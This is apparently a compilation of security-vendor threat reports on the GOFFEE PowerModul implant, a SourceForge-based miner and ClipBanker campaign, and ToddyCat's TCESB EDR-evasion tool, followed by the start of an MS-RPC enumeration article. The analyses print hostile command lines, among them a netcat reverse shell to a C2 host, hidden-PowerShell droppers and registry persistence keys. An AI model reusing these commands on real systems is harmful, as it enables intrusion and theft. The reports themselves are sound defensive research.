Read More 

GOFFEE is a threat actor that first came to our attention in early 2022. Since then, we have observed malicious activities targeting exclusively entities located in the Russian Federation, leveraging spear phishing emails with a malicious attachment. Starting in May 2022 and up until summer of 2023, GOFFEE deployed modified Owowa (malicious IIS module) in their attacks. As of 2024, GOFFEE started to deploy patched malicious instances of explorer.exe via spear phishing.

During the second half of 2024, GOFFEE continued to launch targeted attacks against organizations in Russia, utilizing PowerTaskel, a non-public Mythic agent written in PowerShell, and introducing a new implant that we dubbed “PowerModul”. The targeted sectors included media and telecommunications, construction, government entities, and energy companies.

This report in a nutshell:

• GOFFEE updated distribution schemes.
• A previously undescribed implant dubbed PowerModul was introduced.
• GOFFEE is increasingly abandoning the use of PowerTaskel in favor of a binary Mythic agent for lateral movement.

For more information, please contact: intelreports@kaspersky.com

Technical details

Initial infection

Currently, several infection schemes are being used at the same time. The starting point is typically a phishing email with a malicious attachment, but the schemes diverge slightly from there. We will review two of them relevant at the time of the research.

The first infection scheme uses a RAR archive with an executable file masquerading as a document. In some cases, the file name uses a double extension, such as “.pdf.exe” or “.doc.exe”. When the user clicks the executable file, a decoy document is downloaded from the C2 and opened, while malicious activity is carried out in parallel.

Example of decoy document

The file itself is a Windows system file (explorer.exe or xpsrchvw.exe), with part of its code patched with a malicious shellcode. The shellcode is similar to what we saw in earlier attacks, but in addition contains an obfuscated Mythic agent, which immediately begins communicating with the command-and-control (C2) server.

Malware execution flow v1

In the second case, the RAR archive contains a Microsoft Office document with a macro that serves as a dropper.

Malware execution flow v2

Malicious document with a macro

When a document is opened, scrambled text and a warning image with the message, “This document was created in an earlier version of Microsoft Office Word. For Microsoft Office Word to display the contents correctly, click ‘Enable Content’”, are shown. Clicking “Enable Content” activates a macro that hides the warning image and restores the text through a normal character replacement operation. Additionally, the macro creates two files in the user’s current folder: an HTA and a PowerShell file, and writes the HTA into the registry using the “LOAD” registry value of the “HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows” registry key.

HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows
"LOAD"="C:Users<USER_NAME>UserCache.ini.hta"

Although the macro itself does not start anything or create new processes, the programs listed in the “LOAD” value of the registry key are run automatically for the currently logged-on user.

UserCache.ini.hta content

The malicious HTA runs a PowerShell script (PowerModul), but not directly. Instead, it first uses cmd.exe and output redirection to drop a JavaScript file named “UserCacheHelper.lnk.js” onto the disk, and then executes it. Only then does the dropped JavaScript run PowerModul:

cmd.exe /c if not exist "C:UsersuserUserCacheHelper.lnk.js" echo var objService = GetObject("winmgmts:\\.\root\cimv2");var objStartup = objService.Get("Win32_ProcessStartup");var objConfig = objStartup.SpawnInstance_();objConfig.ShowWindow = 0;var processClass = objService.Get("Win32_Process");var command = "powershell.exe -c "$raw= Get-Content C:\Users\user\UserCache.ini;Invoke-Expression $raw"";var result = processClass.Create(command, null, objConfig, 0); > C:UsersuserUserCacheHelper.lnk.js

It is worth noting that “UserCache.ini.hta” and “UserCacheHelper.lnk.js” contain strings with full paths to the files, including the local user’s name, instead of environment variables. As a result, the control keys, as well as the file sizes, will vary depending on the current user’s name.

UserCacheHelper.lnk.js content

The “UserCacheHelper.lnk.js” file launches a PowerShell file named “UserCache.ini”, dropped by the initial macro. This file contains encoded PowerModul.

PowerModul

PowerModul is a PowerShell script capable of receiving and executing additional PowerShell scripts from the C2 server. The first instances of this implant’s usage were detected at the beginning of 2024. Initially, it was used to download and launch the PowerTaskel implant, and was considered a relatively minor component for launching PowerTaskel. However, its use of a unique protocol, distinct payload types, and a C2 server different from PowerTaskel’s led us to classify it as a separate family.

UserCache.ini content

In the scheme being described, the PowerModul code is embedded in the “UserCache.ini” file as a Base64-encoded string. The beginning and end of the decoded script are shown in the images below, while the middle section contains a copy of the HTA file, as well as code responsible for dropping the HTA file onto the disk, writing it to the registry, and hiding the file by changing its attributes to “Hidden”. Essentially, this code replicates part of the functionality of the VBA macro found in the Word document, except for file hiding, which was not implemented in VBA.

Beginning of PowerModul

End of PowerModul

When accessing the C2, PowerModul appends an infected system identifier string to the C2 URL, consisting of the computer name, username, and disk serial number, separated with underscores:

hxxp://62.113.114[.]117/api/texts/{computer_name}_{username}_{serial_number}

The response from the C2 is in XML format, complete with scripts encoded in Base64:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/plain
Content-Length: 35373
Connection: keep-alive

<Configs>
  <Config>
	<Module>ZnVuY3Rpb24gQ3JlYXRlVkJTRmlsZSgkYkJkcmxzRCwgJGlMc1FybVQsIC....==</Module>
	<CountRuns>250</CountRuns>
	<Interval>1</Interval>
  </Config>
  <Config>
	<Module>ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9I...</Module>

There is an additional, previously undescribed function in PowerModul, named “OfflineWorker()”. It decodes a predefined string and executes its contents. In the instance shown in the screenshots above, the string to be decoded is empty, and therefore, nothing is executed. However, we have observed cases where the string contained content. An example of the OfflineWorker() function containing the FlashFileGrabber data stealing tool code is shown below:

function OfflineWorker() {
	try{
    	$___offlineFlash = 'ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9IE…….=';

    	if($___offlineFlash -ne ''){
        	$___flashOfflineDecoded = FromBase64 $___offlineFlash;
        	Invoke-Expression($___flashOfflineDecoded);
    	}
	}
	catch{}
}

The payloads used by PowerModul include the PowerTaskel, FlashFileGrabber, and USB Worm tools.

FlashFileGrabber

As its name suggests, FlashFileGrabber is designed to steal files from removable media, such as flash drives. We have identified two variants: FlashFileGrabber and FlashFileGrabberOffline.

FlashFileGrabberOffline main routine

FlashFileGrabberOffline searches removable media for files with specific extensions, and when found, copies them to the local disk. To accomplish this, it creates a series of subdirectories in the TEMP folder, following the template “%TEMP%CacheStoreconnect<VolumeSerialNumber>”. The folder names “CacheStore” and “connect” are hardcoded within the script. Examples of such paths are provided below:

%TEMP%CacheStoreconnect624311032024some.pdf
%TEMP%CacheStoreconnect62431103Documentssome.docx
%TEMP%CacheStoreconnect62431103attachment.jpg
%TEMP%CacheStoreconnect6c1d1372Printresume.docx

Additionally, a file named “ftree.db” is created at the path specified in the template, which stores metadata for the copied files, including the full path to the original file, its size, and dates of last access and modification. Furthermore, in the “%AppData%” folder, the “internal_profiles.db” file is created, storing the MD5 sums of the aforementioned metadata. This allows the malware to avoid copying the same files more than once:

%TEMP%CacheStoreconnect<VolumeSerialNumber>ftree.db
%AppData%internal_profiles.db

The list of file extensions of interest is as follows:

FlashFileGrabber largely duplicates the functionality of FlashFileGrabberOffline, but with one key difference: it is capable of sending files to the C2 server.

FlashFileGrabber’s routines

USB Worm

USB Worm is capable of infecting removable media with a copy of PowerModul. To achieve this, the worm renames the files on the removable disk with a random name, retaining their original extension, and assigns them the “Hidden” file attribute. The “UserCache.ini” file, which contains PowerModul, is then copied to the folder with the original file.

USB Worm main routine

Additionally, the worm creates hidden VBS and batch files to launch PowerModul and open a decoy document.

CreateVBSFile() and CreateBatFile() functions

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run Chr(34) & ".zermndzg.bat" & Chr(34), 0, False
WshShell.Run Chr(34) & ".zermndzg.docx" & Chr(34), 1, False
Set WshShell = Nothing

Example of the contents of a malicious VBS

powershell -exec bypass -windowstyle hidden -nop -c "$raw= [io.file]::ReadAllText(""".UserCache.ini"""); iex $raw;"

Example of the contents of a malicious batch file

A shortcut is also created with the original name of the decoy document, which, when launched, executes the VBS file.

CreateShortcutForFile() function

To disguise the shortcut, the worm assigns an icon from the shell32.dll library, depending on the extension of the original file. The worm limits the number of documents replaced with shortcuts to five, selecting only the most recently accessed files by sorting them according to their LastAccessTime attribute.

System infection scheme via removable media

PowerTaskel

We have dubbed the non-public PowerShell Mythic agent delivered via a mail-based infection chain since early 2023, as PowerTaskel. This implant possesses only two primary capabilities: sending information about the targeted environment to a C2 server in the form of a “checkin” message, and executing arbitrary PowerShell scripts and commands received from the C2 server as “tasks” in response to “get_tasking” requests from the implant. The request payloads are PowerShell objects that are serialized to XML, encoded using XOR with a sample-specific 1-byte key, and then converted to Base64.

Based on the naming and ordering of the configuration parameters, it is likely that PowerTaskel is derived from the open-source Medusa Mythic agent, which was originally written in Python.

Comparison of Medusa and PowerTaskel configuration code

Comparison of Medusa and PowerTaskel “checkin” function code

PowerTaskel is a fully functional agent capable of executing commands and PowerShell scripts, which expand its capabilities to downloading and uploading files, running processes, etc. However, its functionality is often insufficient due to specific aspects of PowerShell usage, prompting the group to switch to a custom binary Mythic agent. To achieve this, PowerTaskel loads the Mythic agent from the C2 server, injects it into its own process memory, and runs it in a separate thread. In this scenario, the Mythic agent is present as a self-configuring x32/x64 shellcode. The method of injecting and loading the Mythic agent shellcode is described in more detail in the “Lateral Movement” section.

In at least one instance, PowerTaskel received a script containing a FolderFileGrabber component as a task. FolderFileGrabber largely replicates the functionality of FlashFileGrabber, with one key difference: it can grab files from remote systems via a hardcoded network path using the SMB protocol. The PowerShell cmdlet “New-SmbMapping” is used to access remote system resources, enabling successful retrieval of the desired files.

Lateral movement

Following system infection, if the user account permissions allow it, PowerTaskel performs several tasks to elevate its privileges to the System level. To achieve this, PowerTaskel utilizes the PsExec utility, which is part of the Sysinternals suite. The PsExec utility is dropped into the current directory where PowerTaskel is located and is used to execute mshta.exe with system privileges, passing a URL as an argument.

The images below depict two tasks that PowerTaskel executes with its C2 server. The first task checks for the presence of the file “ntuser.exe” in the %ProgramData% directory, and if it is not found, downloads it from the C2 server. The second task runs mshta.exe via ntuser.exe, which is actually a renamed PsExec utility.

Getting “ntuser.exe”

The “ntuser.exe” executable running “mshta.exe”

The next image illustrates an example of the execution flow of various scripts and commands started with the privilege elevation procedure. The executable file “1cv9.exe” is a renamed PsExec utility, and the argument “-s” specifies that the process it launches should run under the System account. The launched program “mshta.exe” accepts a URL as an argument, which points to an HTA file containing malicious, obfuscated JScript. The HTA file is cached and saved to the InetCache folder. This JScript creates two files, “desktop.js” and “user.txt”, on the disk using the “echo” console command with output redirection to a file, and then executes desktop.js via cscript.exe. The desktop.js file, in turn, launches the interpreter with a script on the command line, which reads the contents of user.txt and executes it. As evident from the contents passed to the “echo” command, user.txt is another PowerShell script whose task is to extract a payload from a hardcoded address and execute it. In this case, the payload is PowerTaskel, which now runs with the elevated privileges.

Example of execution flow on an infected system

Once launched, PowerTaskel interacts with its C2 server and executes standard commands to gather information about the system and environment. Notably, the launch of csc.exe (Visual C# Command Line Compiler) indicates that PowerTaskel has received a task to load a shellcode, which it accomplishes using an auxiliary DLL. The primary function of this DLL is to copy the shellcode into allocated memory. In our case, the shellcode is self-configuring code for the binary Mythic agent.

The final line of the execution flow (“hxxp://192.168.1[.]2:5985/wsman”) reveals a call to the WinRM (Microsoft Windows Remote Management) service, located on a remote host on the local network, via the loaded Mythic agent. A specific User-Agent header value, “Ruby WinRM Client”, is used to access the WinRM service.

HTTP header for WinRM request

The WinRM service is actively utilized by GOFFEE for network distribution purposes. Typically, this involves launching the mshta.exe utility on the remote host with a URL as an argument. The following examples illustrate the execution chains observed on remote hosts:

wmiprvse.exe -secured -Embedding
 -> cmd.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wsmprovhost.exe
 -> mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wmiprvse.exe -secured -Embedding
 -> cmd.exe /Q /c powershell.exe mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wmiprvse.exe -secured -Embedding
 -> powershell.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

Recently, we have observed that GOFFEE is increasingly abandoning the use of PowerTaskel in favor of the binary Mythic agent during lateral movement.

Mythic agent HTA

The mshta.exe utility is still employed to launch the binary Mythic agent, with a URL passed as an argument. However, the payload contents for the passed URL differ from the traditional HTA format. It is relatively large, approximately 180 kilobytes, and is characterized as a polyglot file, which is a type of file that can be validly interpreted in multiple formats. The shellcode containing the Mythic agent is located at the beginning of the file and occupies approximately 80% of its size. It is followed by two Base64-encoded PowerShell scripts, separated by a regular line break, and finally, the HTA file itself.

Polyglot payload

When the mshta.exe utility downloads the aforementioned payload, it interprets it as an HTA file and transfers control to an obfuscated JScript embedded within the HTA section of the polyglot file. The script first determines the argument used to launch the mshta.exe utility, whether it was a URL or a path to a local file. If a URL was used as the argument, the script searches for the original HTA file in the InetCache folder, where the system cached the HTA file during download. To do this, the script iterates through all files in the cache folder and checks their contents for the presence of a specific magic string.

Deobfuscated JScript from the HTA section of the payload

If an HTA file is found on the disk, the script drops two files, “settings.js” and “settings.ps1”, using the “echo” command, and then runs settings.js with additional command-line arguments. The script then sets a timer for 10 seconds, after which the dropped files will be deleted.

Deobfuscated “settings.js”

The running settings.js script accepts three command-line arguments: the path to powershell.exe, the path to the HTA file, and the string “Shell.Application”. These received arguments are used to populate a PowerShell script, the contents of which are then passed to the powershell.exe command line.

powershell.exe -c "$INbqDKHp = "C:\\Users\\[username]\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\duplicate````[1````].hta";$OdfUfjp = get-content $env:USERPROFILE\settings.ps1;$KWfWXqek=1;Invoke-Expression $OdfUfjp;$KWfWXqek=2;Invoke-Expression $OdfUfjp;$KWfWXqek=3;Invoke-Expression $OdfUfjp;"

The script passed to the PowerShell interpreter declares two variables: “$INbqDKHp”, which stores the path to the HTA file, and “$KWfWXqek”, a counter. The script then reads the contents of “settings.ps1” and executes it three times, passing the path to the HTA file and the counter as arguments, and incrementing the value of the “$KWfWXqek” variable by 1 each time.

Deobfuscated “settings.ps1”

During each execution, the “settings.ps1” script reads the contents of the HTA file, splits it into lines, and identifies Base64-encoded scripts. To detect these scripts, it first locates the line containing the HTA application tag by searching for the substring “<HTA:APPLICATION”. The three lines preceding this tag contain Base64-encoded scripts. Depending on the value of the “$KWfWXqek” counter, the script executes the corresponding Base64-encoded script.
The first two scripts are used to declare auxiliary functions, including compiling a helper DLL, which is necessary for executing the shellcode. The third script is responsible for allocating memory, loading the shellcode from the HTA file (whose path is retrieved from the previously defined “$INbqDKHp” variable), and transferring control to the loaded shellcode, which is the self-configuring code of the Mythic agent.

Victims

According to our telemetry, the identified targets of the malicious activities described in this article are located in Russia, with observed activity spanning from July 2024 to December 2024. The targeted industries are diverse, encompassing organizations in the mass media and telecommunications sectors, construction, government entities, and energy companies.

Attribution

In this campaign, the attacker utilized PowerTaskel, which had previously been linked to the GOFFEE group. Additionally, HTA files and various scripts were employed in the infection chain.

The malicious executable attached to the spear phishing email is a patched version of explorer.exe, similar to what we observed in GOFFEE’s attacks earlier in 2024, and contains shellcode that is very similar to the one previously used by GOFFEE.

Considering the same victimology, we can attribute this campaign to GOFFEE with a high degree of confidence.

Conclusions

Despite using similar tools and techniques, GOFFEE introduced several notable changes in this campaign.

For the first time, they employed Word documents with malicious VBA scripts for initial infection. Additionally, GOFFEE utilized a new PowerShell script downloader, PowerModul, to download PowerTaskel, FlashFileGrabber, and USB Worm. They also began using the binary Mythic agent, and likely developed their own implementations in PowerShell and C.

While GOFFEE continues to refine their existing tools and introduce new ones, these changes are not significant enough to suggest that they can be confused with another actor.

Read More 

Recently, we noticed a rather unique scheme for distributing malware that exploits SourceForge, a popular website providing software hosting, comparison, and distribution services. The site hosts numerous software projects, and anyone can upload theirs. One such project, officepackage, on the main website sourceforge.net, appears harmless enough, containing Microsoft Office add-ins copied from a legitimate GitHub project. The description and contents of officepackage provided below were also taken from GitHub.

Description of the “officepackage” project

Few know that projects created on sourceforge.net get a sourceforge.io domain name and web hosting services. Pages like that are well-indexed by search engines and appear in their search results.

Example of a search query and results containing officepackage.sourceforge.io

The project under investigation has been assigned the domain officepackage.sourceforge[.]io, but the page displayed when you go to that domain looks nothing like officepackage on sourceforge.net. Instead of the description copied from GitHub, the visitor is presented with an imposing list of office applications complete with version numbers and “Download” buttons.

The project as seen on the officepackage.sourcefoge.io domain

Hovering over one of the buttons reveals a seemingly legit URL in the browser status bar: https[:]//loading.sourceforge[.]io/download. It is easy to make the mistake of associating that URL with officepackage, as the buttons are on that project’s page. However, the loading.sourceforge.io domain suggests a different project on sourceforge.net, named loading.

URL associated with the “Download” button

Clicking the link redirects to a page with yet another “Download” button, this time in English.

Page for downloading the suspicious archive

Clicking that button finally downloads a roughly seven-megabyte archive named vinstaller.zip. This raises some red flags, as office applications are never that small, even when compressed.

The infection chain: from searching for office software to downloading an installer

The downloaded archive contains another password-protected archive, installer.zip, and a Readme.txt file with the password.

Contents of vinstaller.zip

Inside installer.zip is a file named installer.msi. This is a Windows Installer file that exceeds 700 megabytes. Apparently, the large size is intended to convince users they are looking at a genuine software installer. Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes. After we stripped the junk bytes, its true size was 7 megabytes.

Contents of installer.zip

Running the installer creates several files, with two being of interest to us: UnRAR.exe (a console archive utility) and a password-protected archive named 51654.rar. The installer then executes an embedded Visual Basic script. Attackers have long distributed password-protected archives along with unpacking utilities, passing the password via the command line. However, this case has an intermediary step. The installer files lack an archive password. Instead, to continue the infection chain, the VB script runs a PowerShell interpreter to download and execute a batch file, confvk, from GitHub. This file contains the password for the RAR archive. It also unpacks malicious files and runs the next-stage script.

The infection chain: from launching the installer to downloading the confvk batch script

Here is a breakdown of how the batch script works. First, it checks for an existing infection by searching for the AutoIt interpreter at a specific path. If AutoIt is found, the script deletes itself and exits. If not, the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

If both checks pass, the script unpacks the RAR archive and runs two PowerShell scripts within its code.

"%ProgramData%distUnRAR.exe" x -y -p147852369 "%ProgramData%dist51654.rar" "%ProgramData%dist"

Command to unpack the RAR archive executed by the batch file

One of the PowerShell scripts sends a message to a certain chat using the Telegram API. The message contains system information, the infected device’s external IP address and country, CPU name, operating system, installed antivirus, username, and computer name.

Code snippet from confvk with commands to unpack the malicious archive and run the Telegram file-sending script

The other PowerShell script downloads another batch file, confvz, to process the files that were extracted from the RAR archive.

Contents of the RAR archive

The contents of the archive can be seen in the screenshot above. Below is a summary of each file.

The confvz batch file creates three subdirectories at %ProgramData% and moves the unpacked archive files into those. The first subdirectory receives Input.exe and Icon.dll, the second gets another Input.exe copy with Kape.dll, and the third gets all netcat files. The batch file then creates ini.cmd and init.cmd batch scripts at %USERPROFILE%Cookies to run the files it copied. These scripts execute Input.exe (the AutoIt interpreter), passing the paths to Icon.dll and Kape.dll (both containing compressed AutoIt scripts) as arguments.

Contents of the confvz batch file

Next, confvz generates keys in the registry key HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Paths*. These link to the ini.cmd and init.cmd batch files. The keys allow running files using shortened names. For example, the registry key

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Pathsinstall.exe"::"%USERPROFILE%Cookiesini.cmd

launches ini.cmd when running install.exe. Similarly, start.exe is registered as a link to init.exe, and Setup.exe links to the system utility %WINDIR%System32oobeSetup.exe, normally launched during OS installation. We will revisit this utility later.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter without intermediate batch files.

Additionally, as a backup autostart method, confvz adds this registry key:

"HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsMicrosoftEdgeUpdate.exe"::Debugger="%WINDIR%System32cmd.exe /c start start.exe"

This runs a debugger when MicrosoftEdgeUpdate.exe is started. The debugger is set to execute start.exe, which, based on the earlier registry keys, points to init.cmd.

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds. While disabled by default in more recent Windows versions, WMIC still functions in older systems.

The handler executes the following command:

ShellExperienceHost.exe --ssl apap.app 445 -e cmd.exe

ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection. This essentially creates a remote command line with apap[.]app:445 as the C2 server.

Finally, confvz creates a file:

%WINDIR%SetupScriptsErrorHandler.cmd

This is a custom script you can build in Windows to streamline troubleshooting during OS installation. If a critical error occurs, the %System32%oobeSetup.exe utility finds and executes this file. However, the attackers have found a way to exploit it for automatic startup. They achieve this by again using the operating system’s built-in WMIC utility to establish an event filter that triggers the handler every 300 seconds. The handler is specified as %WINDIR%System32cmd.exe /c start Setup.exe, while Setup.exe, according to the registry keys created earlier, references the utility %WINDIR%System32oobeSetup.exe, which executes ErrorHandler.cmd upon launch. The ErrorHandler.cmd file contains a short PowerShell script that uses the Telegram API to retrieve and execute a text string. This is another remote command line, but its output is not sent anywhere.

The infection chain: from executing confvk to setting up all the auto-start methods

The key malicious actions in this campaign boil down to running two AutoIt scripts. Icon.dll restarts the AutoIt interpreter and injects a miner into it, while Kape.dll does the same but injects ClipBanker. ClipBanker is a malware family that replaces cryptocurrency wallet addresses in the clipboard with the attackers’ own. Users of crypto wallets typically copy addresses instead of typing them. If the device is infected with ClipBanker, the victim’s money will end up somewhere entirely unexpected.

Victims

The officepackage.sourceforge[.]io site has a Russian interface, suggesting a focus on Russian-speaking users. Our telemetry indicates that 90% of potential victims are in Russia, where 4,604 users encountered the scheme between early January and late March.

Takeaways

Distributing malware disguised as pirated software is anything but new. As users seek ways to download applications outside official sources, attackers offer their own. They keep looking for new ways to make their websites look legit. The scheme described here exploits SourceForge feature of creating a sourceforge.io subdomain for each sourceforge.net repository.

The persistence methods are worthy of note as well. Attackers secure access to an infected system through multiple methods, including unconventional ones. While the attack primarily targets cryptocurrency by deploying a miner and ClipBanker, the attackers could sell system access to more dangerous actors.

We advise users against downloading software from untrusted sources. If you are unable to obtain some software from official sources for any reason, remember that seeking alternative download options always carries higher security risks.

Read More 

To hide their activity in infected systems, APT groups resort to various techniques to bypass defenses. Most of these techniques are well known and detectable by both EPP solutions and EDR threat-monitoring and response tools. For example, to hide their activity in Windows systems, cybercriminals can use kernel-level rootkits, in particular malicious drivers. However, in the latest versions of Windows, kernel-mode drivers are loaded only if digitally signed by Microsoft. Attackers get round this protection mechanism by using legitimate drivers that have the right signature, but contain vulnerable functions that allow malicious actions in the context of the kernel. Monitoring tools track the installation of such drivers and check applications that perform it. But what if a security solution performs unsafe activity? Such software enjoys the trust of monitoring tools and doesn’t raise suspicions.

And that’s precisely what ToddyCat attackers exploited by running their tool in the context of a security solution.

Detection

In early 2024, while investigating ToddyCat-related incidents, we detected a suspicious file named

version.dll

in the temp directory on multiple devices.

This 64-bit DLL, written in C++, turned out to be a complex tool called TCESB. Previously unseen in ToddyCat attacks, it is designed to stealthily execute payloads in circumvention of protection and monitoring tools installed on the device.

Kaspersky products detect this tool as

Trojan.Win64.ToddyCat.a

,

Trojan.Win64.ToddyCat.b

.

Loading the tool

DLL proxying

Static analysis of the DLL library showed that all functions exported by it import functions with the same names from the system file

version.dll

(Version Checking and File Installation Libraries).

List of functions exported by TCESB

This indicates that the attackers use a DLL-proxying technique (Hijack Execution Flow, T1574) to run the malicious code. By means of this technique, a malicious DLL exports all functions of a legitimate one, but instead of implementing them, redirects calls to these functions to the original DLL. This way, an application that loads the malicious library will continue to work as normal, with the malicious code running in the context of this application in the background.

Schematic of DLL proxying

However, this is not enough to launch malware. For a malicious DLL to be able to take control, the application that loads it must contain insecure code. Such code searches for loaded dynamic library images in folders where they should not be located. If one of these folders contains a malicious library, the vulnerable application will load it instead of the legitimate one. Microsoft has an official advisory on preventing unsafe DLL loading.

CVE-2024-11859 vulnerability in ESET Command line scanner

It took us a while to find the file that loads the TCESB tool. We studied the system directories on devices where the malicious DLLs were found. On one of these, in the same folder as TCESB, there was an extensionless executable file named

ecls

. We believe that the operator, when transferring files to the device, made a mistake in the filename and moved two copies of it. After performing malicious activity, the file with the extension was deleted, while the other one remained in the system. This file turned out to be a component of ESET’s EPP solution – a scanner launched from the command line (ESET Command line scanner). Dynamic analysis showed that the scanner insecurely loads the system library

version.dll

, first checking for the file in the current directory, then searching for it in the system directories. This can result in a malicious DLL library being loaded, which constitutes a vulnerability. We compiled a report with a detailed description of it, and sent it to ESET as part of the Coordinated Vulnerability Disclosure process. ESET registered the CVE-2024-11859 vulnerability, then on January 21, 2025 released an update for the

ecls

file patching the security issue. On April 4, information about this vulnerability appeared in an ESET security advisory.

To analyze TCESB, we ran it in a virtual environment. In the address space of the ESET Command-line scanner process, we can see two

version.dll

files. One is the system library, the other is the DLL of the TCESB tool.

Malicious and legitimate libraries in the memory of the ecls.exe process

Basic functionality

To determine the main functions of the malicious tool, we examined the strings located in its DLL.

Snippet of the list of strings that TCESB contains

The strings are not obfuscated. The search shows that most of them belong to the open-source malicious tool EDRSandBlast, designed to bypass security solutions. Kaspersky solutions detect it with the verdict

HEUR:HackTool.Win64.EDRSandblast.a

. ToddyCat created the TCESB DLL on its basis, modifying the original code to extend the malware’s functionality. The resulting tool’s capabilities include modifying operating system kernel structures to disable notification routines, for example, about a process creation event in the system or a load event.

Searching for addresses in the kernel memory

To find the structures in the kernel memory needed to disable notification routines, TCESB determines the version of the Windows kernel in the context of which it is running. To do this, it uses the

GetNtoskrnlVersion()

function.

Function for getting the Windows kernel version implemented in TCESB

Next, to get information about the memory offsets of the structures corresponding to the operating system kernel version, TCESB uses one of two data sources: a CSV or PDB file.

First, the tool checks the CSV file contained in its own resources section. Stored there in table form is information about several popular kernel versions and their corresponding offsets.

TCESB searches this file line by line for a match with the previously obtained version of the current Windows kernel.

Snippet of the function for getting and reading a CSV file from TCESB resources

We studied the CSV file in the EDRSandBlast repository and its change history. The contents of the TCESB CSV fully match the CSV data in the EDRSandBlast version of August 13, 2022, while the original malware commit of October 6, 2023 adds lines that are missing in the TCESB resource. This indicates a time period during which the creators of TCESB used the EDRSandBlast code.

If the CSV file does not contain data on structures corresponding to the required kernel version, TCESB reads their addresses from the PDB file. To get it, the malware accesses the file C:WindowsSystem32ntoskrnl.exe, which contains information about the kernel file version, and inserts the data from this file into the following template, generating a URL:

https://msdl.microsoft.com/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s

This is the address of Microsoft debug information server, where TCESB sends a GET request to download the PDB file. The received file is saved in the current TCESB directory, and data on the offsets of the required kernel memory structures are read from it.

Vulnerable driver

To modify the kernel structures that store callbacks used to notify applications of system events, TCESB deploys the Bring Your Own Vulnerable Driver (BYOVD) technique (Exploitation for Defense Evasion, T1211). It does this by installing a vulnerable driver in the system through the Device Manager interface, using an INF file with installation information.

Snippet of decompiled code for installing the TCESB driver

TCESB uses the Dell DBUtilDrv2.sys driver, which contains the CVE-2021-36276 vulnerability. This is a utility driver used to update PC drivers, BIOS and firmware.

Launching the payload

Once the vulnerable driver is installed in the system, TCESB runs a loop in which it checks every two seconds for the presence of a payload file with a specific name in the current directory – the payload may not be present at the time of launching the tool. Presumably, this is to allow the operator to verify that the tool was run without errors, so that the payload file can be moved without risk of detection. As soon as the file appears in the path being checked, it is passed to the decryption function.

Snippet of decompiled TCESB code

The tool creates its own log file for recording all stages of execution in detail.

Example of log file contents

We studied two samples of the TCESB tool. Although we were unable to obtain the payload files, our research shows that they have different names (

kesp

and

ecore

) and both are extensionless.

Our analysis of the tool code found that the data in the payload file is encrypted using AES-128.

Snippet of code for determining the encryption algorithm

The decryption key is in the first 32 bytes of the payload file, followed by the encrypted data block. Below is a snippet of code for reading the key:

Snippet of code for reading the key from the payload file

The key decrypts the data block:

Snippet of code for reading and decrypting the payload file

The read data is placed in memory and executed.

Takeaways

We discovered a sophisticated tool that the ToddyCat APT group tried to use for stealth execution in compromised systems. This tool exploits a chain of vulnerabilities, as well as an old version of a known open-source malware that the attackers modified to extend its functionality.

Schematic of tool operation

To detect the activity of such tools, it’s recommended to monitor systems for installation events involving drivers with known vulnerabilities. Lists of such drivers can be found on the loldrivers project website, for example. It’s also worth monitoring events associated with loading Windows kernel debug symbols on devices where debugging of the operating system kernel is not expected. We also advise using operating system tools to check all loaded system library files for the presence of a digital signature.

Indicators of compromise

Malicious Files Hashes

D38E3830C8BA3A00794EF3077942AD96      

version.dll

008F506013456EA5151DF779D3E3FF0F      

version.dll

Legitimate file for DLL proxying

8795271F02B30980EBD9950FCC141304       ESET Command-line scanner

Legitimate files for BYOVD

B87944DCC444E4C6CE9BB9FB8A9C0DEF      

dbutildrv2.INF

DE39EE41D03C97E37849AF90E408ABBE      

DBUtilDrv2.cat

DACB62578B3EA191EA37486D15F4F83C      

dbutildrv2.sys

Read More 

In the first part of our research, I demonstrated how we revived the concept of no authentication (null session) after many years. This involved enumerating domain information, such as users, without authentication. I walked you through the entire process, starting with the difference between no-auth in the MS-RPC interfaces and the well-known null session, and ending with the methodology used to achieve our goal.

Today, as promised, we’ll dive into part two. Here, we’ll explore why Windows behaves the way it does – allowing domain information to be enumerated without authentication. I’ll also explain why this activity is difficult to prevent and monitor.

First, we’ll examine why this activity is hard to stop by looking at how WMI works. We’ll also discuss the methods available for detecting and addressing this issue.

After that, we’ll cover some basics about MS-RPC security and how to secure your RPC server. Then we’ll analyze the security of the MS-NRPC interface using two approaches: theoretical insight and reverse engineering to gain a deeper understanding.

So, buckle up and let’s continue our journey!

The group policy that punches your domain in the face

When it comes to stopping certain activities in Windows, group policies are often the first line of defense, and our case is no exception. As we discussed in part one, the Restrict Unauthenticated RPC Clients policy can be used to block no-auth activity against interfaces. This policy comes with three settings: “None”, “Authenticated”, and “Authenticated without exceptions”.

While testing, we discovered that even with the policy set to “Authenticated”, it’s still possible to enumerate domain information using MS-NRPC and network interfaces using the

IObjectExporter

interface. Naturally, the next logical step would be to use the “Authenticated without exceptions” setting to completely block such activity.

